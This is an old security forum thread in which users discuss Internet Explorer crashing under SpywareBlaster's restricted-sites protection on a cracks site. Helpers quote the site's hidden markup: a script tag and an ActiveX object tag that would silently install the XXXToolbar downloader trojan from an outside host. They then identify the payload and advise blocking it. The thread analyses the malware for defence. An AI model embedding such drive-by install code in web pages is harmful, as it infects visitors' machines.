Spywareblaster restricted sites crash

Discussion in 'SpywareBlaster & Other Forum' started by gothtec, Jun 1, 2004.

Thread Status:
Not open for further replies.
  1. gothtec

    gothtec Registered Member

    Joined:
    Jun 1, 2004
    Posts:
    4
    Some sites use some strange active X controls that seem to crash explorer when they are not allowed to run. An example of this is:

    hxxp:// www . cracks .am /d.x?24830
    ---------------------------------------------------
    WARNING: I have been told that this link may contain images of a pornographic nature, as the site I am using as my example of this "bug" or whatever gets its money from porn ads. No not click this link if that kind of content offends you, is illegal in your country and bla bla bla.

    I do not have another address that causes the same problem, so I kinda have to use this one...
    ---------------------------------------------------


    (this doesn't do anything serious on my 2 comps, but on both I have to restart explorer after clicking a few error messages)

    I am using the newest version of spywareblaster.

    If I disable protection from restricted sites, or lower the security level of restricted sites, the page works, but the spyware that is in the active X thingy also asks to be installed.

    Can anyone confirm/explain/fix this?
     
    Last edited by a moderator: Jun 1, 2004
  2. gabbagabba

    gabbagabba Registered Member

    Joined:
    Jun 1, 2004
    Posts:
    1
    i'm having the same problem.
    i find it very annoying.
    i'm also running spywareblaster.
     
  3. MCT

    MCT Registered Member

    Joined:
    Mar 10, 2004
    Posts:
    300
    I would STRONGLY suggest a moderator take that link off, as it contains porn

    your problem is probly caused by an internet explorer flaw, i doubt this is spyware blasters fault

    ps. i would read the rules b4 posting porn :p
     
  4. gothtec

    gothtec Registered Member

    Joined:
    Jun 1, 2004
    Posts:
    4
    it was not my intention to "post porn". I haven't even looked at the page thoroughly, as spywareblasters restricted sites make IE crash. They are either restricting a page too much or one too less or something.. I don't know, but it IS "spyware blasters fault" as its the program that puts the restrictions there in the first place and the page works fine without them...
     
  5. Bubba

    Bubba Updates Team

    Joined:
    Apr 15, 2002
    Posts:
    11,271
    One item I notice that's lying in wait for those that have scripting enabled is one of them nasty toolbars. :mad:
    As for the rest of the links and other items....what goes around comes around.

    Code:
    <script language="JavaScript" type="text/JavaScript"
    src="hxxp://[b]install.xxxtoolbar.com[/b]/ist/scripts/
    prompt.php?event_type=onload&recurrence=random&
    retry=3&loadfirst=1&account_id=138770&signature=cracks">
    </script>
    
    Well Duh....most of those links are listed in many Restricted Site list applications....such as SpywareBlaster, IE-Spyad, Spybot....etc AND for a very good reason. I fail to see what your concern is especially when your wanting your cake and eat it to ?

    Security\Privacy setting programs such as SpywareBlaster, Spybot, IE-Spyad....etc add these sites for a reason and it doesn't take a rocket scientist to understand why.
     
  6. gothtec

    gothtec Registered Member

    Joined:
    Jun 1, 2004
    Posts:
    4
    I am not a rocket scientist, and I can still not figure out why this causes IE to crash. It should just block the site, right? Strange way of blocking things, if you ask me.

    On the other hand, if you run the page without restricting sites (The main spywareblaster thingy can remain on, as it DOES NOT BLOCK this CLSID or whatever they're called), you will see that after clicking NO and OK a few times, you will eventually get through and be able to download the file you requested from the site.

    All I apparently need to do is figure out what crashes explorer and add their crack.zip active x thingy to the stuff that is blocked, as the active x thingy itself is currently NOT blocked and it is indeed something you do not want to install.
     
  7. gothtec

    gothtec Registered Member

    Joined:
    Jun 1, 2004
    Posts:
    4
    by the way, if any of this seems angry or anything, it's because I am translating in my head from my native language, and that doesn't always work out very well :(
     
  8. Bubba

    Bubba Updates Team

    Joined:
    Apr 15, 2002
    Posts:
    11,271
    Code:
    <OBJECT id="barobject" width=1 height=1 classid="
    CLSID:[b]12398DD6-40AA-4c40-A4EC-A42CFC0DE797[/b]"');
    downloads_manager.document.write('codebase= 
    "http://www.xxxtoolbar.com/ist/softwares/v4.0/0006_cracks.cab"
    onerror="parent.retryit();">
    
    The above ActiveX CLSID component is what it's wanting to install....which is an item that keeps manyyyyyyy volunteers busy cleaning crap such as that off of users machines.

    My suggestion is you place *.xxxtoolbar.com in your Restricted Zone if your wanting the D_Secure_2002_v2[1].0.40.zip file....because it is stored at www.cracks.am
     
  9. MCT

    MCT Registered Member

    Joined:
    Mar 10, 2004
    Posts:
    300
    XXX ToolBar is one of the worst IMO , i use firefox, so i dont experience this crash, thats how i know its related 2 IE and not spyware blaster

    regards
     
  10. Bubba

    Bubba Updates Team

    Joined:
    Apr 15, 2002
    Posts:
    11,271
    It's just another scumware in the long list of players :cool:

    xxxtoolbar.com/ist/softwares/v4.0/0006_cracks.cab
    ISTactivex.inf
    ISTactivex.dll
    Kaspersky Online Virus Scanner
    Scanned file: ISTactivex.dll
    ISTactivex.dll - packed with UPX
    ISTactivex.dll - infected by TrojanDownloader.Win32.IstBar.en
     
  11. MCT

    MCT Registered Member

    Joined:
    Mar 10, 2004
    Posts:
    300
    thats true, ive seen ppl who are newbies, and dont know a thing about pc protection have their pcs so loaded up with xxxtoolbar and its variants that explorer would crash repeadidly :( its hard 2 get off 2 without explorer working properly :p

    regards
     
Loading...
Thread Status:
Not open for further replies.